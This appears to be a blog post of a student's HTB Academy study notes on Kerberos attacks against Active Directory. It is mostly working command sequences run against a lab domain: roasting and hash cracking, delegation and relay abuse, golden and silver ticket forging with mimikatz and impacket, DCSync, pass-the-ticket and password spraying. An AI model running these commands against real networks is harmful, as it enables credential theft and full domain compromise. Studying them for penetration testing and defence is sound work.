Kerberos Attacks

Hacer Dalkiran
10 min readFeb 17, 2025

--

When I am studying, I have taken notes. I am sharing my notes. The notes are from mostly HTB Academy.

There are mainly 3 types of kerberos attacks.

  1. Ticket Requesting Attacks : AS-REP, TGS-REP tickets
  • Asrep Roasting : Targets TGT
  • Kerberoasting : Targets TGS and service account password

2. Kerberos Delegation Attacks : Impersonate a user access

  • Unconstrained Delegation
  • Constained Delegation
  • Resource Based Constrained Delegation

3. Ticket Forging Attacks : TGT is encrypted with KDC key, TGS is encrypted with service account key. If we steal one of them, then we can forge TGT and TGS.

  • Silver Ticket for TGS
  • Golden Ticket for TGT

1. Ticket Requesting Attacks

1. Asrep-Roasting

Asrep-roasting arises from “Pre-Authentication”. AS-REQ means authentication. AS-REQ contains username information and authenticator.

AS-REP-Roastable means, there is no need for pre-authentication for that user. Pre-authentication is disabled. That means that whoever request TGT, KDC sends TGT. AS-REP contains TGT with encrypted user password. With brute-force, we can crack user’s password.

For enumeration, we can use, impacket, Powerview, crackmapexec, Powershell AD module.

For attacking, Impacket, the Rubeus toolkit, crackmapexec can be used.

There is more advanced type of this attack. If an attacker has GenericWrite or GenericAll permissions over an account, they can enable this attribute to get A-REP ticket. This is also known as targeted AS-REPRoasting attack.

enumeration

  1. Powerview
Import-Module .\PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

2. Rubeus

Rubeus.exe asreproast /format:hashcat
.\Rubeus.exe asreproast /nowrap

3. Crackmapexec

crackmapexec ldap LDAPFQDN -u users.txt -p '' --asreproast asreproast.out
#if we have a username credential info, to enlarge our knowledge, we can use
#the method below:
crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! --asreproast asreproast.out

4. GetNPUsers.py from impacket

.\Rubeus.exe asreproast /user:jenna.smith /domain:inlanefreight.local /dc:dc01.inlanefreight.local /nowrap /outfile:hashes.txt
hashcat.exe -m 18200 C:\Tools\hashes.txt C:\Tools\rockyou.txt -O
OR
GetNPUsers.py DOMAIN/USER #for enumeration
GetNPUsers.py DOMAIN/USER -request

Targeted Asrep-Roasting

If you have GenericAll privilege on an account, instead of resetting the password, we can enable DONT_REQ_PREAUTH flag to make this user asrep-roastable.

To make it- we can use powerview.

Import-Module .\PowerView.ps1
Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose

Kerberoasting

We can get SPN by using lots of methods. For example:

1 — Powerview

Import-Module .\PowerView.ps1
Get-DomainUser -SPN
#lets get service ticket
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
cat .\tgs.csv
#for more automatic way,
Import-Module .\PowerView.ps1
Invoke-Kerberoast

2 — Rubeus

Rubeus.exe kerberoast /nowrap

NOTE : RC4 encrypted ticket starts with $krb5tgs$23$*

while AES encrypted ticket starts with $krb5tgs$18$*

cracking

hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O

NOT: If we dont have a valid credential, we can use a method. To use this method, we need 2 things:

Username of an account with preauthentication disabled (DONT_REQ_PREAUTH)

A target SPN or a lsit of SPNs

# we will use Rubeus's createnetonly utility.
Rubeus.exe createnetonly /program:cmd.exe /show
# assume that dua.lipa user has DONT_REQ_PREAUTH property
Rubeus.exe kerberoast /nopreauth:dua.lipa /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap

3. GetUserSPNs.py from impacket

GetUserSPNs.py inlanefreight.local/chester
GetUserSPNs.py inlanefreight.local/chester -request
hashcat -m 13100 hashes.txt rockyou.txt

2. Kerberos Delegation Attacks

Unconstrained Delegation

The Kerberos protocol allows a user to authenticate to a service to use it, and Kerberos delegation enables that service to authenticate to another service as the original user.

In this example, a user authenticates to WEBSRV to access the website. Once authenticated on the website, the user needs to access information stored in a database, but should not be given access to all the information within it. The service account managing the website must communicate with the database using the user’s rights so that the database only gives access to resources that the user has the right to access. This is where delegation comes into play. The service account, here WEBSRV$, will pretend to be the user when accessing the database. This is called delegation.(HTB-Academy)

If we are able to compromise a server that has unconstrained delegation enabled, and a Domain Administrator subsequently logs in, we will be able to extract their TGT and use it to move laterally and compromise other machines, including Domain Controllers.

In the properties of machine, we see the option is chosen as you can see above.

Only an administrator or a privileged user to whom these privileges have been explicitly given can set this option to other accounts. More specifically, it is necessary to have the SeEnableDelegationPrivilege privilege to perform this action. A service account cannot modify itself to add this option.

Specifically, when this option is enabled, the TRUSTED_FOR_DELEGATION flag is set on the account in the User Account Control (UAC) flags.

To determine if there is a TGT ticket in a TGS ticket, rubeus can find it by using the command below:

.\Rubeus.exe monitor /interval:5 /nowrap

Using a ticket to request another ticket:

.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt

In case the above command doesn’t work, we can also use the renew action to get a brand new TGT instead of a TGS ticket:

.\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt
mimikatz.exe
lsadump::dcsync /user:jefferson.matts

Once we have the TGS or the TGT we can effectively list the contents of the Domain Controller file system as shown in the following command.

dir \\dc01.inlanefreight.local\c$

Constrained Delegation

A service account impersonate users but just for a list of services.

First, we will use PowerView to find users and computers with constrained delegation privileges.

Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth

The account DMZ01$ has TRUSTED_TO_AUTH_FOR_DELEGATION UAC attribute set, which means it has constrained delegation with protocol transition set, and the only allowed service for delegation is www/WS01.inlanefreight.local.

Requesting Valid TGS Ticket

.\mimikatz.exe privilege::debug sekurlsa::msv exit
privilege::debug
sekurlsa::msv
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt

We can check our new ticket with the klist command

klist
#winrm session with current ticket
Enter-PSSession ws01.inlanefreight.local

from linux:

findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine
getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator

This will generate a ticket and save it as Administrator.ccache in the current directory. Once we have this valid ticket to access the TERMSRV service on DC01 as Administrator, we can use it with psexec.py from impacket, after exporting its path to the environment variable KRB5CCNAME. This tool will update the SPN in this TGS on the fly to get an interactive shell. The -debug flag is added on purpose so you can see what's going on.

export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug

Unconstrained Delegation — Users- Kerberos Relay Attack

This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.

Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

We need an account with GenericWrite privileges on the compromised account.

This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.(HTB-Academy)

git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx
python dnstool.py -u INLANEFREIGHT.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.10.14.2 --action add 10.129.1.207
nslookup roguecomputer.inlanefreight.local dc01.inlanefreight.local
python addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local

Any account trying to authenticate via SMB to roguecomputer.inlanefreight.local will have a copy of its TGT in its requested TGS ticket.

sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58

Leveraging PrinterBug

python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local
python dementor.py -u pixis -p p4ssw0rd -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local

Krbrelayx: performing the attack

sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
export KRB5CCNAME=./DC01\$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache
secretsdump.py -k -no-pass dc01.inlanefreight.local

Golden Ticket

The Golden Ticket attack enables attackers to forge and sign TGTs (Ticket Granting Tickets) using the krbtgt account's password hash. When these tickets get presented to an AD server, the information within them will not be checked at all and will be considered valid due to being signed with krbtgt account's password hash. (HTB Academy)

All the information about a user is contained in PAC. The PAC is copied into each TGS ticket so that service accounts know who they are dealing with. Therefore, this information must be adequately protected so users cannot arbitrarily change it.

If an attacker steals krbtgt, then they can decypher any TGT and PAC within it. Thus, the attacker can modify all the information( which group the user belongs to etc.).

Once full domain compromise is achieved, an attacker can extract the NTLM hash of the krbtgt account using DCSync (or from the NTDS.DIT file using a variety of methods).

Different elements are needed to forge a Golden Ticket:

  1. Domain Name
  2. Domain SID
  3. Username to Impersonate
  4. KRBTGT's hash
Import-Module .\PowerView.ps1
Get-DomainSID
.\mimikatz.exe
mimikatz # lsadump::dcsync /user:krbtgt /domain:inlanefreight.local

when we get krbtgt hash, we can impersonate Administrator:

mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt

to check which tickets we have

klist
#enter DC by using this ticket
Enter-PSSession dc01

from Linux:

lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids
# we can craft a Golden Ticket using ticketer.py.
ticketer.py -nthash 810d754e118439bab1e1d13216150299 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local

Silver Ticket

When a user make TGS request, the user uses TGT. The KDC or DC will send TGS. The TGS-REP contains TGT and PAC (All the user info, which group she belongs to etc). TGT and PAC is encrypted with secret of service account. If an attacker knows the secret, then the attacker can forge the AP-REQ, since she can decrypt the packet. Therefore, the attacker can modify PAC. For example, I belong to the group domain admins. The forged ticket is called Silver Ticket.

attack:

Import-Module .\PowerView.ps1
Get-DomainSID

Let’s say we compromised the SQL01$ account. We have its NTLM hash. We want to craft a TGS ticket to access the SQL01 filesystem. We'll need a CIFS/SQL01 TGS ticket to do so.

mimikatz.exe
# kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ptt

we can ensure that we have the ticket by using klist.

klist
dir //sql01.inlanefreight.local/c$

Note: We can also create a Sacrificial Process. Let’s create a ticket and save it in sql01.kirbi:
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit
create a sacrifical process
Rubeus.exe createnetonly /program:cmd.exe /show
import new ticket into the section
Rubeus.exe ptt /ticket:sql01.kirbi
PSExec.exe -accepteula \\sql01.inlanefreight.local cmd

silver ticket from linux

get domain sid

lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids

craft silver ticket using ticketer.py

ticketer.py -nthash ff955e93a130f5bb1a6565f32b7dc127 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
smbclient.py -k -no-pass sql01.inlanefreight.local

using psexec

export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass sql01.inlanefreight.local

Pass the ticket

The Pass-the-Ticket (PtT) attack is a method of lateral movement without touching LSASS.

Pass-the-Ticket takes the user’s Ticket Granting Ticket (TGT) or Ticket Granting Service (TGS) Ticket. The TGT is a signed ticket that contains a list of privilege levels.

A sacrificial process creates a new Logon Session and passes tickets to that session.

The Rubeus action createnetonly creates a sacrifical process, and the future commands will use the /LUID:0xdeadbeef to interact with it.

.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

we can see all the tickets we can read by using triage option in Rubeus.

.\Rubeus.exe triage

extract the ticket:

.\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA<SNIP> /ptt

Account Enumeration and Password Spraying using Kerberos

username enumeration

Bruteforcing Windows usernames and passwords with Kerberos is very fast and potentially stealthier than other methods since pre-authentication failures do not trigger that “traditional” An account failed to log on event 4625. With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller).

You should find kerbrute binary.

mv ~/Downloads/kerbrute_linux_amd64 kerbrute
chmod +x ./kerbrute
./kerbrute

To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and move on. This does not cause logon failures, so it will not lock out any accounts. This generates a Windows event ID 4768 if Kerberos logging is enabled.

kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local

password spraying

kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local

Additional Notes

checking password last set

Get-ADUser krbtgt -Property PasswordLastSet

--

--

Hacer Dalkiran
Hacer Dalkiran

Written by Hacer Dalkiran

Mathematician and Cybersecurity girl

Responses (1)